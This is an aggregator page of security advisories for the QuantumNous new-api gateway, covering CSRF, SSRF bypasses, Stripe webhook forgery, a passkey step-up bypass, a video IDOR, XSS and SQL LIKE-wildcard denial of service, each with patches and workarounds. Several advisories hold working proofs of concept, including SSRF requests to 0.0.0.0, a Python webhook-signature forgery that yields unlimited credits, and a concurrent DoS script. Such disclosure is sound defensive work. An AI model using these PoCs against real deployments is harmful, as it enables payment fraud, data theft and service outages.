Where
-Infinity
0

Vendor Risk Score

See how newapi compares to other vendors in security performance

View Risk Score →
Severity
5.3
CSRF
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

Summary

The email and WeChat account binding endpoints used GET requests for state-changing account operations. In deployments where session cookies could be sent on cross-site navigations, an attacker could trigger a logged-in user's browser to bind an attacker-controlled email address or OAuth identity.

Affected endpoints included:

- GET /api/oauth/email/bind - GET /api/oauth/wechat/bind

Impact

A successful attack could change account binding state. For email binding, the attacker could bind an email address they control and then attempt follow-on account recovery flows. The default session cookie configuration uses SameSite=Strict, which mitigates common cross-site navigation attacks in modern browsers, so the issue is rated Medium.

Affected versions

Versions before v0.12.0-alpha.1 are affected.

Patches

This issue is fixed in v0.12.0-alpha.1. The fix changes email and WeChat binding routes from GET to POST and reads parameters from a JSON request body instead of query parameters. The same change set also normalizes password reset responses to avoid disclosing whether an email is registered.

Workarounds

If upgrading immediately is not possible, ensure session cookies are configured with strict SameSite behavior and block GET requests to /api/oauth/email/bind and /api/oauth/wechat/bind at the reverse proxy.

Resources

- Fixed by commit e099117c61391abdf888fb75e382a582e550bd0e. - Relevant code paths: router/api-router.go and controller/user.go.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

The default SSRF protection configuration did not apply IP filtering to hostnames. With ApplyIPFilterForDomain disabled by default, URL validation checked domain allow/block rules but did not resolve a hostname and validate the resolved IP address. Authenticated users could configure notification URLs for Webhook, Bark, or Gotify notifications and point a hostname at an internal or metadata IP address.

Impact

A regular authenticated user could cause the server to send notification requests to internal HTTP services reachable from the deployment network. Depending on the target environment, this could expose sensitive internal data through timing, errors, or response-dependent behavior. The issue is rated High.

Affected versions

Versions before v0.12.0-alpha.1 are affected. The previous affected range of <= v0.11.4-alpha.4 was too narrow because the unsafe default remained present until the v0.12.0-alpha.1 fix.

Patches

This issue is fixed in v0.12.0-alpha.1. The default fetch setting now sets ApplyIPFilterForDomain: true, causing hostname destinations to be resolved and checked against the configured IP filtering rules during URL validation.

This patch addresses the unresolved-hostname bypass for the affected notification URL paths. It does not mark the separate DNS rebinding advisory as fixed, because connection-time IP enforcement is tracked separately.

Workarounds

If upgrading immediately is not possible, explicitly enable ApplyIPFilterForDomain, restrict notification URL domains with an allowlist, disable user-configurable notification URLs where practical, and enforce outbound network filtering at the host or network layer.

Resources

- Fixed by commit 20399d3c8fcb4e3649d53163eb11940fd6763743. - Relevant code paths: setting/systemsetting/fetchsetting.go, common/ssrfprotection.go, service/webhook.go, and service/usernotify.go.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
SSRF, Race Condition
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

SSRF Filter Bypass via 0.0.0.0

Summary

The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF.

Details

Root Cause

common/ssrfprotection.go — isPrivateIP() (lines 33–47) checks the following ranges:

- 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 - 127.0.0.0/8 - 169.254.0.0/16 - 224.0.0.0/4 - 240.0.0.0/4

0.0.0.0/8 is not checked. On Linux, 0.0.0.0 resolves to the local machine, same as 127.0.0.1.

Default Fetch Settings

setting/systemsetting/fetchsetting.go (lines 16–24) defaults:

- EnableSSRFProtection: true - AllowPrivateIp: false - AllowedPorts: ["80", "443", "8080", "8443"] - ApplyIPFilterForDomain: true

So 0.0.0.0 on any of these four ports passes all checks.

Data Flow (primary chain — /v1/chat/completions)

User API token → /v1/chat/completions (TokenAuth, no admin required) → messages[].content[].imageurl.url = "http://0.0.0.0:8080/..." → dto/openairequest.go:111-117 createFileSource() recognises http(s):// as URL source → dto/openairequest.go:119-198 GetTokenCountMeta() collects imageurl.url / file.filedata / videourl → service/tokencounter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true → service/fileservice.go:135-143 loadFromURL() → DoDownloadRequest() → service/download.go:52-68 ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get() → Server issues real TCP connection to 0.0.0.0

Note on stream requirement: common/init.go (lines 140–141) defaults GETMEDIATOKEN=true but GETMEDIATOKENNOTSTREAM=false, so stream: true is needed to trigger the fetch path.

Additional Affected Endpoints

The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:

| Endpoint | User-controlled field | Auth required | |---|---|---| | /v1/chat/completions | imageurl.url, file.filedata, videourl | Regular user token | | /v1/responses | inputfile.fileurl, inputimage.imageurl | Regular user token | | /v1/messages | source.url (type: "url") | Regular user token | | /api/user/setting | webhookurl, barkurl, gotifyurl | Regular user (self) |

Upgrade to Full-Read SSRF (conditional)

relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():

- If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content - When source.type == "url", it calls service.GetBase64Data() which invokes the same DoDownloadRequest() path - The fetched content is rewritten to type: "base64" and inlined into the model request - The model then describes/transcribes the content in its response

This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.

Proof of Concept

Prerequisites: A regular user account with a valid API token. No admin privileges required.

Step 1 — Control group: 127.0.0.1 is blocked

http POST /v1/chat/completions HTTP/1.1 Host: <redacted> Authorization: Bearer sk-<user-token> Content-Type: application/json

{ "model": "gpt-4o-mini", "stream": true, "maxtokens": 1, "messages": [ { "role": "user", "content": [ {"type": "text", "text": "describe"}, { "type": "imageurl", "imageurl": { "url": "http://127.0.0.1:8080/probe.png", "detail": "low" } } ] } ] }

Response:

private IP address not allowed: 127.0.0.1

Step 2 — Experiment group: 0.0.0.0 bypasses the filter

http POST /v1/chat/completions HTTP/1.1 Host: <redacted> Authorization: Bearer sk-<user-token> Content-Type: application/json

{ "model": "gpt-4o-mini", "stream": true, "maxtokens": 1, "messages": [ { "role": "user", "content": [ {"type": "text", "text": "describe"}, { "type": "imageurl", "imageurl": { "url": "http://0.0.0.0:8080/probe.png", "detail": "low" } } ] } ] }

Response:

dial tcp 0.0.0.0:8080: connect: connection refused

The server attempted a real TCP connection — the SSRF filter was bypassed.

Step 3 — Confirm readback capability via multimodal model

http POST /v1/chat/completions HTTP/1.1 Host: <redacted> Authorization: Bearer sk-<user-token> Content-Type: application/json

{ "model": "claude-3-5-sonnet-latest", "stream": false, "maxtokens": 32, "messages": [ { "role": "user", "content": [ { "type": "text", "text": "Transcribe exactly the text in the image. Output only the text." }, { "type": "imageurl", "imageurl": { "url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159", "detail": "low" } } ] } ] }

Response:

json {"choices":[{"message":{"content":"READBACK-OK-314159"}}]}

This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0:<allowed-port> returns image or document content, an attacker can exfiltrate it.

Impact

An authenticated regular user (no admin privileges) can:

1. Probe localhost and internal services — Determine open/closed ports on the server by observing connection refused vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443. 2. Exfiltrate internal content — When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text). 3. Bypass all previous SSRF mitigations — This is a direct bypass of the isPrivateIP() check. No redirect chain, no DNS rebinding, no race condition required — just replacing 127.0.0.1 with 0.0.0.0.

Since user registration is often enabled by default, any registered user can exploit this.

Suggested Fix

1. Add 0.0.0.0/8 to the deny list in isPrivateIP() (common/ssrfprotection.go) 2. Audit against the full [IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/) — also ensure coverage for: - 0.0.0.0/8 ("This network") - 100.64.0.0/10 (Carrier-grade NAT) - 198.18.0.0/15 (Benchmarking) - IPv6 equivalents: ::1, ::, [::], fe80::/10 3. Apply the same IP validation to post-redirect targets (already partially addressed in service/httpclient.go:24-33, but does not help when the initial address itself bypasses the filter)

Resources

- CVE-2025-59146 (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5 - CVE-2025-62155 (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Summary

A critical vulnerability exists in the Stripe webhook handler that allows an unauthenticated attacker to forge webhook events and credit arbitrary quota to their account without making any payment. The vulnerability stems from three compounding flaws:

1. The Stripe webhook endpoint does not reject requests when StripeWebhookSecret is empty (the default). 2. When the HMAC secret is empty, any attacker can compute valid webhook signatures, effectively bypassing signature verification entirely. 3. The Recharge function does not validate that the order's PaymentMethod matches the callback source, enabling cross-gateway exploitation — an order created via any payment method (e.g., Epay) can be fulfilled through a forged Stripe webhook.

Affected Components

- controller/topupstripe.go — StripeWebhook(), sessionCompleted() - model/topup.go — Recharge(), RechargeCreem(), RechargeWaffo() - controller/topup.go — EpayNotify() - controller/topupcreem.go — CreemAdaptor.RequestPay() (missing PaymentMethod field) - router/api-router.go — webhook route registered without any guard

CWE Classification

- CWE-345: Insufficient Verification of Data Authenticity - CWE-1188: Initialization with an Insecure Default (empty webhook secret) - CWE-863: Incorrect Authorization (cross-gateway order fulfillment)

Vulnerability Details

Flaw 1: Empty Webhook Secret Bypasses Signature Verification

The StripeWebhookSecret setting defaults to an empty string "". The Stripe Go SDK (webhook.ConstructEventWithOptions) does not reject empty secrets — it computes HMAC-SHA256 with an empty key, producing a deterministic and publicly computable signature.

Vulnerable code (controller/topupstripe.go): go func StripeWebhook(c gin.Context) { // No check for empty StripeWebhookSecret payload, := io.ReadAll(c.Request.Body) signature := c.GetHeader("Stripe-Signature") endpointSecret := setting.StripeWebhookSecret // defaults to "" event, err := webhook.ConstructEventWithOptions(payload, signature, endpointSecret, ...) // When secret is "", attacker can compute valid HMAC with the same empty key }

The webhook route is unconditionally registered with no authentication middleware and no rate limiting: go apiRouter.POST("/stripe/webhook", controller.StripeWebhook)

Flaw 2: Missing paymentstatus Verification

The sessionCompleted handler only checks status == "complete" but does not verify paymentstatus == "paid". Stripe's checkout.session.completed event can fire with paymentstatus = "unpaid" for delayed payment methods (bank transfer, SEPA, Boleto, etc.) or paymentstatus = "nopaymentrequired" for 100% discount coupons.

Additionally, checkout.session.asyncpaymentsucceeded and checkout.session.asyncpaymentfailed events are not handled, so delayed payments that ultimately fail are never rolled back.

Flaw 3: Cross-Gateway Order Fulfillment (No PaymentMethod Validation)

The model.Recharge() function (called by the Stripe webhook) looks up orders solely by tradeno and does not validate that the order's PaymentMethod is "stripe":

go func Recharge(referenceId string, customerId string) (err error) { // Finds ANY pending order by tradeno, regardless of PaymentMethod tx.Where("tradeno = ?", referenceId).First(topUp) if topUp.Status != "pending" { return } // Credits quota without checking topUp.PaymentMethod quota = topUp.Money QuotaPerUnit tx.Model(&User{}).Update("quota", gorm.Expr("quota + ?", quota)) }

This allows an attacker to create orders through any configured payment gateway (Epay, Creem, Waffo) and then complete them via a forged Stripe webhook — even if Stripe itself was never configured.

Attack Scenario

Prerequisites: Any payment method is configured (e.g., Epay) + StripeWebhookSecret is empty (default).

1. Attacker registers a user account. 2. Attacker calls POST /api/user/pay to create an Epay top-up order (e.g., amount=10000). The order is stored with status=pending. 3. Attacker queries GET /api/user/topup/self to retrieve the tradeno of the pending order. 4. Attacker computes HMAC-SHA256 with an empty key over a crafted checkout.session.completed payload containing the stolen tradeno as clientreferenceid. 5. Attacker sends POST /api/stripe/webhook with the forged payload and signature header. 6. The server verifies the signature (passes because the secret is empty), calls Recharge(), which finds the Epay order by tradeno, marks it as success, and credits the full quota. 7. Attacker repeats steps 2–6 indefinitely for unlimited credits.

Proof of concept (pseudocode): python import hmac, hashlib, time, json, requests

timestamp = int(time.time()) payload = json.dumps({ "type": "checkout.session.completed", "data": { "object": { "clientreferenceid": "<tradeno from step 3>", "status": "complete", "paymentstatus": "paid", "customer": "cusfake", "amounttotal": "0", "currency": "usd" } } }) Empty secret = publicly computable signature sig = hmac.new(b"", f"{timestamp}.{payload}".encode(), hashlib.sha256).hexdigest() header = f"t={timestamp},v1={sig}"

requests.post("https://target/api/stripe/webhook", data=payload, headers={"Stripe-Signature": header, "Content-Type": "application/json"})

Remediation

Fix 1: Reject webhooks when secret is empty go func StripeWebhook(c gin.Context) { if setting.StripeWebhookSecret == "" { c.AbortWithStatus(http.StatusForbidden) return } // ... existing logic }

Fix 2: Verify paymentstatus and handle async payment events go func sessionCompleted(event stripe.Event) { // ... existing status check ... paymentStatus := event.GetObjectValue("paymentstatus") if paymentStatus != "paid" { return // Wait for asyncpaymentsucceeded event } fulfillOrder(event, referenceId, customerId) }

Add handlers for checkout.session.asyncpaymentsucceeded and checkout.session.asyncpaymentfailed.

Fix 3: Validate PaymentMethod in all recharge functions go // In model.Recharge (Stripe): if topUp.PaymentMethod != "stripe" { return ErrPaymentMethodMismatch }

// In model.RechargeCreem: if topUp.PaymentMethod != "creem" { return ErrPaymentMethodMismatch }

// In model.RechargeWaffo: if topUp.PaymentMethod != "waffo" { return ErrPaymentMethodMismatch }

// In controller.EpayNotify: if topUp.PaymentMethod == "stripe" || topUp.PaymentMethod == "creem" || topUp.PaymentMethod == "waffo" { return // reject cross-gateway fulfillment }

Additional fix: Set PaymentMethod on Creem order creation The Creem order creation was missing the PaymentMethod field entirely: go topUp := &model.TopUp{ // ... PaymentMethod: "creem", // was missing }

Patched Versions

- v0.12.10 — includes all three fixes described above.

All users are strongly encouraged to upgrade immediately.

Workaround (for users unable to upgrade immediately)

If users cannot upgrade to v0.12.10 right away, apply all of the following mitigations:

1. Set StripeWebhookSecret to any non-empty value. Go to the admin panel → Payment → Stripe, and set the Webhook Signing Secret to any random string (e.g., whsecplaceholderdonotleaveempty). It does not need to be a real Stripe secret — any non-empty value will prevent the empty-key HMAC forgery. This is the single most important step — it closes the primary attack vector. If Stripe payments are used in production, replace with the real secret from the project's Stripe Dashboard → Webhooks to ensure legitimate webhooks continue to work.

2. If Stripe is not in use, block the webhook endpoint. If users have not configured Stripe payments, use a reverse proxy (Nginx, Caddy, etc.) to deny access to /api/stripe/webhook: nginx location = /api/stripe/webhook { return 403; }

Note: The workaround only mitigates Flaw 1 (empty secret bypass). Flaws 2 (missing paymentstatus check) and 3 (cross-gateway fulfillment) are only fully addressed in v0.12.10. Upgrading is the only complete fix.

Impact

- Financial fraud: Attacker obtains unlimited API quota without payment. - Operator financial loss: Fraudulent quota is consumed against upstream AI providers (OpenAI, Anthropic, Google, etc.), charged to the operator. - Silent exploitation: Fraudulent top-ups appear as normal successful transactions in system logs, making detection difficult. - Wide exposure: The default insecure configuration means virtually all deployments with any payment method enabled are vulnerable.

Timeline

- 2025-04-15: Vulnerability reported by @ChangeYu0229 - 2025-04-15: Vulnerability confirmed and root cause analysis completed - 2025-04-15: Fix developed and applied - 2025-04-15: Patched in v0.12.10

Resources

- Stripe Webhook Signature Verification Docs - Stripe Checkout Fulfillment Guide — Handle async payment methods - CWE-345: Insufficient Verification of Data Authenticity - CWE-1188: Initialization with an Insecure Default

1 / 2
Source: GitHub
First published (updated )
Severity
4.9
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Summary

A logic flaw in the universal secure verification flow allows an authenticated user with a registered passkey to satisfy secure verification without completing a WebAuthn assertion.

Affected versions

= v0.10.0

Description

The POST /api/verify endpoint supports multiple secure verification methods, including passkeys. When the request body contains {"method":"passkey"}, the server only checks whether the authenticated account has a passkey record on file and then marks the secure verification session as complete. It does not verify that the requester successfully completed a WebAuthn assertion.

As a result, an authenticated user who already has a valid session and a registered passkey can satisfy the secure verification requirement without performing the intended passkey challenge/response flow.

Impact

In the upstream project, this issue affects actions protected by SecureVerificationRequired(). At the time of publication, the confirmed upstream impact is the root-only POST /api/channel/:id/key endpoint, which returns stored channel secrets.

Successful exploitation requires: - an already authenticated session for the target account, and - a registered passkey on that account.

No full login bypass or cross-account privilege escalation has been confirmed in the upstream codebase. However, the issue defeats the intended step-up verification control for affected privileged actions.

Workarounds

Until a patched release is applied: - do not rely on passkey as the step-up method for privileged secure-verification actions; - require TOTP/2FA for those actions where operationally possible; or - temporarily restrict access to affected secure-verification-protected endpoints.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

The video proxy endpoint GET /v1/videos/:taskid/content is vulnerable to an Insecure Direct Object Reference (IDOR). Any authenticated user who knows another user's taskid can retrieve that user's generated video content because the handler queries tasks by taskid alone and does not verify ownership.

Affected Component

- Endpoint: GET /v1/videos/:taskid/content - Route middleware: TokenOrUserAuth() - Vulnerable handler: controller.VideoProxy

Details

VideoProxy fetches the task with:

go task, exists, err := model.GetByOnlyTaskId(taskID)

GetByOnlyTaskId performs a database lookup using only taskid:

go err = DB.Where("taskid = ?", taskId).First(&task).Error

The authenticated user's ID is available in request context, but VideoProxy does not use it. This allows any authenticated user to request /v1/videos/<foreigntaskid>/content and access another user's video if they know a valid task ID.

Other task-fetch paths already enforce ownership correctly via:

go model.GetByTaskId(userId, taskId)

Impact

An authenticated attacker who knows another user's taskid can:

- Download video content belonging to another user - Bypass tenant isolation for generated media assets - Cause the server to fetch upstream video content for a task the attacker does not own

For Gemini tasks, the proxy also uses task.PrivateData.Key when contacting the upstream provider. In addition, full upstream response headers are forwarded back to the requester.

Proof of Concept

bash curl -o stolenvideo.mp4 \ "https://<instance>/v1/videos/<victimtaskid>/content" \ -H "Authorization: Bearer sk-<attackertoken>"

Expected result:

- Response returns 200 OK - Response body contains the victim's video content

Recommended Fix

Replace the task lookup in VideoProxy with an ownership-checked query:

go userId := c.GetInt("id") task, exists, err := model.GetByTaskId(userId, taskID)

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
EPSS
0.03%
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:L

Summary

A potential unsafe operation occurs in component MarkdownRenderer.jsx, allowing for Cross-Site Scripting(XSS) when the model outputs items containing <script> tag.

Details

Line 212-231 of MarkdownRenderer.jsx is unsafe, it use dangerouslySetInnerHTML to preview html the model generates. This can trigger malcious scripts.

PoC

A simple way to exploit that is to ask the model in the playground, with prompt: "请帮我写个脚本,跳转到google", and then the browser will navigate to the google.com without user interference.

Impact

Potential malcious activity to the user using playground, if the model api is altered to output unintended codes.

Also, users may not be easily rid the exploit, since the record of the chat containing XSS script is stored, once opening the page later, the script will be re-triggered.

Potential Workaround

The preview may be placed in an iframe sandbox, dangerous html strings should be purified before rendering.

---

The reply generated for test is as below:

这是一个为您编写的单页 HTML 文件。它使用了两种方式来实现跳转,以确保在任何情况下都能工作:

1. JavaScript (window.location.replace):这是最常用且高效的方法,它会立即跳转,并且不会保留当前页面在浏览器历史记录中(这样用户按“后退”键不会回到这个跳转页)。 2. HTML Meta Refresh:作为后备方案。如果用户的浏览器禁用了 JavaScript,这个标签会在 1 秒后将用户带往 Google。 3. 手动链接:页面中显示了一个备用链接,以防自动跳转被拦截或失效。

您可以直接保存以下代码为 .html 文件并在浏览器中打开。

html <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>正在跳转至 Google...</title> <!-- 方法1:HTML Meta Refresh (如果JS被禁用,1秒后自动跳转) --> <meta http-equiv="refresh" content="1;url=https://www.google.com">

<style> / 基础重置与布局 / body, html { height: 100%; margin: 0; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; background-color: #f8f9fa; color: #202124; display: flex; justify-content: center; align-items: center; }

/ 卡片容器样式 / .redirect-card { background: white; padding: 2rem 3rem; border-radius: 12px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); text-align: center; max-width: 400px; width: 90%; }

/ 加载动画圆圈 / .spinner { border: 4px solid #f3f3f3; border-top: 4px solid #4285f4; / Google Blue / border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite; margin: 0 auto 1.5rem auto; }

/ 文本排版 / h1 { font-size: 1.25rem; margin-bottom: 0.5rem; font-weight: 500; }

p { font-size: 0.95rem; color: #5f6368; margin-bottom: 1.5rem; line-height: 1.5; }

/ 手动链接样式 / .manual-link { display: inline-block; color: #1a73e8; / Google Link Blue / text-decoration: none; font-weight: 500; padding: 0.5rem 1rem; border: 1px solid #dadce0; border-radius: 4px; transition: background-color 0.2s; }

.manual-link:hover { background-color: #f1f3f4; text-decoration: underline; }

/ 动画定义 / @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> </head> <body>

<main class="redirect-card"> <!-- 视觉反馈:加载动画 --> <div class="spinner"></div> <!-- 提示信息 --> <h1>正在为您跳转</h1> <p>我们正在将您引导至 Google。<br>如果页面没有自动刷新,请点击下方的按钮。</p> <!-- 手动跳转链接 --> <a href="https://www.google.com" class="manual-link">立即前往 Google</a> </main>

<script> // 方法2:JavaScript 跳转 (推荐) // 使用 replace() 而不是 href,这样用户点击“后退”时不会死循环回到这个跳转页 (function() { // 目标地址 var targetUrl = "https://www.google.com";

// 执行跳转 window.location.replace(targetUrl); // 控制台日志(用于调试) console.log("Redirecting to: " + targetUrl); })(); </script>

</body> </html>

Acknowledgments

QuantumNous would like to thank TechnologyStar for the early notification of this potential vulnerability via AI-assisted tools, and small-lovely-cat for providing additional context and an initial patch. The final fix was developed and verified by the maintainers to ensure full compatibility with the project's architecture.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A SQL LIKE wildcard injection vulnerability in the /api/token/search endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.

Details The token search endpoint accepts user-supplied keyword and token parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%, ). This allows attackers to inject patterns that trigger expensive database queries.

Vulnerable Code File: model/token.go:70 go err = DB.Where("userid = ?", userId). Where("name LIKE ?", "%"+keyword+"%"). // No wildcard escaping Where(commonKeyCol+" LIKE ?", "%"+token+"%"). Find(&tokens).Error

PoC

After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.

<img width="1636" height="659" alt="image" src="https://github.com/user-attachments/assets/55e63dcd-884d-41bc-9bea-4300ba1b50c6" />

These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:

bash A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly. curl 'http://localhost:3000/api/token/search?keyword=%&token='

<img width="491" height="350" alt="image" src="https://github.com/user-attachments/assets/c31d9639-3550-4e93-8735-fba068f56124" />

It will cause DoS.

python import requests from concurrent.futures import ThreadPoolExecutor

def attack(sessioncookie): requests.get( 'http://localhost:3000/api/token/search', params={'keyword': '%%%%%%', 'token': ''}, cookies={'session': sessioncookie}, headers={'New-API-User': '1'} )

Launch 50 concurrent malicious requests with ThreadPoolExecutor(maxworkers=50) as executor: for in range(50): executor.submit(attack, '<validsession>')

Impact Availability

RAM Overflow

<img width="1078" height="145" alt="image" src="https://github.com/user-attachments/assets/c0bb5159-6943-42bd-a9f4-5c60c57fb149" />

Postgres unavailable

<img width="772" height="185" alt="image" src="https://github.com/user-attachments/assets/245e4f59-0ec5-4f9b-a839-3c9bb61be14b" />

- Database CPU usage spike to 100% - Application memory exhaustion - Legitimate user requests blocked or significantly delayed - Potential application crash or database connection pool exhaustion

Database Performance

Testing with 2,000,000 tokens:

| Pattern | Query Time | Rows | Impact | |---------|-----------|------|--------| | test (normal) | ~50ms | 0 | Low | | % (full scan) | 5,973ms | 2,000,000 | High | | %%%%%% | 6,200ms+ | 2,000,000 | Very High |

Attack Scalability

- Single attacker: Can launch 10-50 concurrent requests easily - Multiple accounts: Attacker can register multiple accounts (if registration enabled) - Proxy rotation: IP-based rate limiting can be bypassed - Persistence: Attack can be sustained indefinitely

Resource Consumption

Each malicious request with 2M results: - Database: ~6 seconds CPU time - Network: ~200MB data transfer - Application Memory: ~200MB+ for JSON serialization - Connection Time: Database connection held for entire query duration

Exploitation Scenario

1. Attacker registers or compromises a regular user account 2. Attacker crafts malicious LIKE patterns using % wildcards 3. Attacker launches concurrent requests (50-200 concurrent) 4. Database becomes overwhelmed with slow queries 5. Application memory exhausts from processing large result sets 6. Legitimate users experience service degradation or complete unavailability

## Patch Recommendations 1. Escape LIKE Wildcards (Critical) go func escapeLike(s string) string { s = strings.ReplaceAll(s, "\\", "\\\\") s = strings.ReplaceAll(s, "%", "\\%") s = strings.ReplaceAll(s, "", "\\") return s }

func SearchUserTokens(userId int, keyword string, token string) (tokens []Token, err error) { keyword = escapeLike(keyword) token = strings.Trim(token, "sk-") token = escapeLike(token)

err = DB.Where("userid = ?", userId). Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%"). Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%"). Limit(1000). Find(&tokens).Error return tokens, err }

2. Add User-Level Rate Limiting go tokenRoute.GET("/search", middleware.TokenSearchRateLimit(), // 30 req/min per user controller.SearchTokens)

3. Add Query Timeout go ctx, cancel := context.WithTimeout(context.Background(), 5time.Second) defer cancel() err = DB.WithContext(ctx).Where(...).Find(&tokens).Error

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

QuantumNous new-api v.0.8.5.2 is vulnerable to Cross Site Scripting (XSS).

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203